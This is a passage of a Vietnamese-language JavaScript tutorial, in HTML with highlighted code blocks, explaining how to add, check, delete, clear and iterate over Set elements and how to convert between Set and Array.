<code>value</code> vào Set và trả về chính Set đó.</li> <li>Nếu <code>value</code> đã tồn tại thì phương thức <code>set.add(value)</code> sẽ bỏ qua và cũng trả về chính Set đó.</li> </ul> <p>Ví dụ thêm phần tử vào Set:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo set rỗng</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thêm phần tử 1</span> set1<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(1) {1}</span> <span class="token comment">// thêm phần tử 2 (khác 1)</span> set1<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {1, 2}</span> <span class="token comment">// thêm phần tử 3 (khác 1 và 2)</span> set1<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(3) {1, 2, 3}</span></code></pre></div> <p>Việc trả về chính đối tượng Set sau khi <code>add</code> giúp code trở trên ngắn gọn hơn nhiều.</p> <p>Xem thêm: <a href="/tim-hieu-ki-thuat-method-chaining-co-ban/">Tìm hiểu kĩ thuật Method Chaining cơ bản</a></p> <h2 id="lấy-số-lượng-phần-tử-trong-set" style="position:relative;"><a href="#l%E1%BA%A5y-s%E1%BB%91-l%C6%B0%E1%BB%A3ng-ph%E1%BA%A7n-t%E1%BB%AD-trong-set" aria-label="lấy số lượng phần tử trong set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy số lượng phần tử trong Set</h2> <p>Để lấy được số lượng phần tử của Set trong JavaScript, bạn có thể sử dụng thuộc tính <code>set.size</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2 - vì set chỉ có hai phần tử ["a", "b"]</span></code></pre></div> <h2 id="kiểm-tra-phần-tử-tồn-tại-trong-set" style="position:relative;"><a href="#ki%E1%BB%83m-tra-ph%E1%BA%A7n-t%E1%BB%AD-t%E1%BB%93n-t%E1%BA%A1i-trong-set" aria-label="kiểm tra phần tử tồn tại trong set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra phần tử tồn tại trong Set</h2> <p>Để kiểm tra một phần tử có tồn tại trong Set hay không, bạn có thể sử dụng phương thức <code>set.has()</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - vì [1, 2] !== [1, 2]</span></code></pre></div> <p>Kết quả trên là hoàn toàn dễ hiểu phải không?</p> <p>Mình chỉ muốn nhắc lại là Set sẽ sử dụng <strong>toán tử so sánh bằng nghiêm ngặt</strong> <code>===</code> để so sánh các giá trị, do đó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">===</span> <span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a"</span> <span class="token operator">===</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">===</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="xoá-một-phần-tử-trong-set" style="position:relative;"><a href="#xo%C3%A1-m%E1%BB%99t-ph%E1%BA%A7n-t%E1%BB%AD-trong-set" aria-label="xoá một phần tử trong set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá một phần tử trong Set</h2> <p>Để xóa một phần tử của Set trong JavaScript, bạn sử dụng phương thức <code>set.delete(value)</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token string">"abcdcba"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(4) {a, b, c, d}</span> set1<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(4) {b, c, d}</span> set1<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {b, c}</span></code></pre></div> <h2 id="xoá-tất-cả-phần-tử-trong-set" style="position:relative;"><a href="#xo%C3%A1-t%E1%BA%A5t-c%E1%BA%A3-ph%E1%BA%A7n-t%E1%BB%AD-trong-set" aria-label="xoá tất cả phần tử trong set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá tất cả phần tử trong Set</h2> <p>Để xóa tất cả các phần tử trong Set, bạn sử dụng phương thức <code>set.clear()</code>. Sau đó, Set sẽ trở thành rỗng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(3) {1, 2, 3}</span> set1<span class="token punctuation">.</span><span class="token function">clear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(0) {}</span></code></pre></div> <h2 id="duyệt-qua-các-phần-tử-trong-set" style="position:relative;"><a href="#duy%E1%BB%87t-qua-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD-trong-set" aria-label="duyệt qua các phần tử trong set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Duyệt qua các phần tử trong Set</h2> <p>Set hỗ trợ một số cách để duyệt qua các phần tử như sau.</p> <h3 id="sử-dụng-forof" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-forof" aria-label="sử dụng forof permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>for...of</code></h3> <p>Ví dụ sử dụng <code>for...of</code> để duyệt qua các phần tử:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> x <span class="token keyword">of</span> set1<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a * { x : 1} * 1 */</span></code></pre></div> <h3 id="sử-dụng-foreach" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-foreach" aria-label="sử dụng foreach permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng <code>forEach</code></h3> <p>Sử dụng <code>set.forEach()</code> cũng tương tự như <a href="/javascript-foreach-la-cai-quai-gi/">forEach trong Array</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(3) {"a", "b", "c"}</span> set1<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* * a * b * c */</span></code></pre></div> <h3 id="sử-dụng-phương-thức-keys-values-entries" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-keys-values-entries" aria-label="sử dụng phương thức keys values entries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương thức <code>keys()</code>, <code>values()</code>, <code>entries()</code></h3> <p>Ba phương thức <code>set.keys()</code>, <code>set.values()</code> và <code>set.entries()</code> đều trả về iterable object, với mỗi phần tử tương ứng với một phần tử trong Set (theo thứ tự mà mình chèn vào).</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo set</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt qua các keys trong set</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> x <span class="token keyword">of</span> set1<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a * { x : 1} * 1 */</span> <span class="token comment">// duyệt qua các values trong set</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> x <span class="token keyword">of</span> set1<span class="token punctuation">.</span><span class="token function">values</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * a * { x : 1} * 1 */</span> <span class="token comment">// duyệt qua các cặp [key, value] trong set</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> x <span class="token keyword">of</span> set1<span class="token punctuation">.</span><span class="token function">entries</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * ["a", "a"] * [{ x : 1}, { x : 1}] * [1, 1] */</span></code></pre></div> <p>Bạn thấy rằng, các phương thức trên đều có đặc điểm là: <code>key</code> và <code>value</code> giống nhau. Việc để <code>key</code> và <code>value</code> bằng nhau để tương đồng với kiểu dữ liệu Map.</p> <h2 id="chuyển-set-thành-array-và-ngược-lại" style="position:relative;"><a href="#chuy%E1%BB%83n-set-th%C3%A0nh-array-v%C3%A0-ng%C6%B0%E1%BB%A3c-l%E1%BA%A1i" aria-label="chuyển set thành array và ngược lại permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển Set thành Array và ngược lại</h2> <p>Mình có thể sử dụng phương thức <code>forEach</code> của Set trong JavaScript, tương tự như Array. Nhưng còn các phương thức khác như: <code>map</code>, <code>filter</code>,... thì sao?</p> <p>Thực tế, Set không hỗ trợ những phương thức này.</p> <p>Nhưng bạn hoàn toàn có thể <strong>chuyển Set thành Array</strong> để sử dụng các phương thức của Array. Rồi sau đó, bạn chuyển Array ngược lại thành Set.</p> <p>Để chuyển Set thành Array, bạn có thể sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a> hoặc sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">toán tử spread</a>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo set</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// chuyển set thành array sử dụng Array.from</span> <span class="token keyword">const</span> arr1 <span class="token operator">=</span> Array<span class="token punctuation">.</span><span class="token function">from</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 2, 3, 4, 5]</span> <span class="token comment">// chuyển set thành array sử dụng cú pháp spread (...)</span> <span class="token keyword">const</span> arr2 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>set1<span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [1, 2, 3, 4, 5]</span></code></pre></div> <p>Giả sử, mình sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter"><code>filter</code></a> để lọc lấy những phần tử là số chẵn.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> arr3 <span class="token operator">=</span> arr1<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2) [2, 4]</span></code></pre></div> <p>Bây giờ, mình chuyển Array ngược lại thành Set - sử dụng công thức phần khởi tạo Set:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>arr3<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {2, 4}</span></code></pre></div> <p>Toàn bộ quá trình trên có thể viết gọn lại thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(5) {1, 2, 3, 4, 5}</span> <span class="token keyword">const</span> filteredArray <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>set1<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> set2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>filteredArray<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {2, 4}</span></code></pre></div> <p>Khi đã chuyển Set thành Array rồi, bạn có thể sử dụng bất kỳ <a href="/phuong-thuc-cua-mang-trong-javascript/">phương thức</a> nào mà Array hỗ trợ.</p> <h2 id="một-ví-dụ-thực-tế-sử-dụng-set" style="position:relative;"><a href="#m%E1%BB%99t-v%C3%AD-d%E1%BB%A5-th%E1%BB%B1c-t%E1%BA%BF-s%E1%BB%AD-d%E1%BB%A5ng-set" aria-label="một ví dụ thực tế sử dụng set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một ví dụ thực tế sử dụng Set</h2> <p>Trong bài viết về <a href="/tao-trang-blog-voi-gatsby-js/">tạo blog với Gatsby.js</a>, mình đã nói về vấn đề tạo danh sách các <strong>thẻ</strong>, <strong>chuyên mục</strong>. Đó chính là một ví dụ thực tế sử dụng Set.</p> <p>Vì mình cần phải lưu lại danh sách các thẻ, chuyên mục với các phần tử là duy nhất, rồi sau đó <strong>hiển thị danh sách</strong> này lên sidebar.</p> <p>Ví dụ mỗi bài viết có một mảng lưu các thẻ tag:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> post1 <span class="token 